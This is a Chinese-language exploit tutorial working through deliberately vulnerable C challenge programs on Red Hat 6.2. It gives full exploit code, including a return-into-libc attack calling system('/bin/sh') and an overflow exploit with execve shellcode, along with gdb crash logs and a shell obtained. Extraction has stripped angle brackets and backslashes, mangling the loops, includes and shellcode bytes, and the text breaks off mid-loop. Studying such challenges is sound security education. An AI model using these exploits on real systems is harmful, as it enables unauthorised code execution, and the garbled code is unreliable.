★★ 三 高级篇
测试环境 redhat 6.2 glibc 2.1.3
★ 3.1 演示一
/* e1.c *
/* specially crafted to feed your brain by gera@core-sdi.com */
/* jumpy vfprintf, Batman! */
int main(int argv,char **argc) {
/* Can you do it changing the stack？ */
/* Can you do it without changing it？ */
printf(argc[1]);
while(1);
}
请参考拙作利用格式化串覆盖*printf()系列函数本身的返回地址
★ 3.2 演示二
/* e2.c *
/* specially crafted to feed your brain by gera@core-sdi.com */
/* Now, your misson is to make abo1 act like this other program:
*
char buf[100];
while (1) {
scanf("%100s",buf);
system(buf);
}
* But, you cannot execute code in stack.
*/
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
唯一需要满足的条件是stack是不能运行的。
[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-Linux.so.2...done.
#0 0x61616161 in ？？ ()
/* eXP_e2.c
* alert7 exploit for e2
*/
#include stdio.h
#define RET_POS99vION 260
#define NOP 0x90
#define BUFADDR 0xbffff968
#define SYSTEM 0x4005aae0
char shell[]="/bin/sh"; /* .string "/bin/sh" */
int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;
retaddr=SYSTEM;
if(argc1)
retaddr=SYSTEM+atoi(argv[1]);
bzero(buff,1024);
for(i=0;i300;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POS99vION-4]))=BUFADDR+4*3+strlen(shell);
*((long *)&(buff[RET_POS99vION]))=retaddr;
*((long *)&(buff[RET_POS99vION+4]))=0xaabbccdd;//当system返回时候的eip
*((long *)&(buff[RET_POS99vION+8]))=BUFADDR+RET_POS99vION+4*3;
ptr=buff+RET_POS99vION+12;
strcpy(ptr,shell);
printf("Jump to 0x%08x",retaddr);
execl("./e2","e2",buff,0);
}
[alert7@redhat]$ gcc -o exp_e2 exp_e2.c
[alert7@redhat]$ ./exp_e2
Jump to 0x4005aae0
bash$ id
uid=501(alert7) gid=501(alert7) groups=501(alert7)
bash$ exit
exit
Segmentation fault (core dumped)
内存增长方向
------
xxxxxx EBP EIP EIP1 参数指针 /bin/sh
260个bytes
--main执行ret后的esp,ebp值为EBP
EIP1为system调用后的返回地址（当然，假如system返回的话）
参数指针指向/bin/sh
这里我们使EIP1为0xaabbccdd，所以/bin/sh一返回就在0xaabbccdd coredump了。
也就是说只要我们精心构造，就可以构造一个函数调用链。比如我们需要调用
setuid(0)-system("/bin/sh")-exit(0);
该exploit可以成功，很大程度上是因为SYSTEM的地址不包含0，也就是stack不
可执行补丁没有使library库mmap到内存低端。
更多的击败不可执行stack补丁可参考：
绕过Linux不可执行堆栈保护的方法浅析 by waring3 waring3@nsfocus.com
和最近p58上的
The advanced return-into-lib(c) exploits by Nergal
★ 3.3 演示三
/* e3.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* are you an enviromental threat */
char buf[256];
int main(int argv,char **argc) {
strcpy(buf,argc[1]);
setenv("ABO",argc[2],1);
while(1);
}
[alert7@redhat]$ uname -a
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
[alert7@redhat]$ gcc -o e3 e3.c -static //静态编译的时候才会出现这样的情况
[alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x616161 in ？？ ()
(gdb) quit
[alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ？？ ()
(gdb) BT
#0 0x61616161 in ？？ ()
#1 0x804ac85 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3209
#2 0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c)
at malloc.c:1770
#3 0x804abb3 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3196
#4 0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145
#5 0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
replace=1) at ../sysdeps/generic/setenv.c:263
#6 0x80481ce in main ()
#7 0x804831b in __libc_start_main (main=0x80481a0 main, argc=3,
argv=0xbffffb24, init=0x80480b4 _init, fini=0x80718ac _fini,
rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92
根据上面的条件，我们可以完全不必理会setenv()内部一系列到底发生了什么。只需要知道
在buf+264的地方放入一个值，该值就会变成EIP。
/* exp_e3.c
* alert7 exploit for static e3
*/
#include stdio.h
#define RET_POS99vION 264
#define NOP 0x90
#define BUFADDR 0x807bf60//0xaabbccdd
char shellcode[]=
"xebx1f" /* jmp 0x1f */
"x5e" /* popl %esi */
"x89x76x08" /* movl %esi,0x8(%esi) */
"x31xc0" /* xorl %eax,%eax */
"x88x46x07" /* movb %eax,0x7(%esi) */
"x89x46x0c" /* movl %eax,0xc(%esi) */
"xb0x0b" /* movb $0xb,%al */
"x89xf3" /* movl %esi,%ebx */
"x8dx4ex08" /* leal 0x8(%esi),%ecx */
"x8dx56x0c" /* leal 0xc(%esi),%edx */
"xcdx80" /* int $0x80 */
"x31xdb" /* xorl %ebx,%ebx */
"x89xd8" /* movl %ebx,%eax */
"x40" /* inc %eax */
"xcdx80" /* int $0x80 */
"xe8xdcxffxffxff" /* call -0x24 */
"/bin/sh"; /* .string "/bin/sh" */
int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;
retaddr=BUFADDR;
if(argc1)
retaddr=BUFADDR+atoi(argv[1]);
bzero(buff,1024);
for(i=0;i1024;i+=4)
*((long *)&(buff[i]))=retaddr;
for(i=0;i100;i++)
buff[i]=NOP;
ptr=buff+50;
for(i=0;i
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
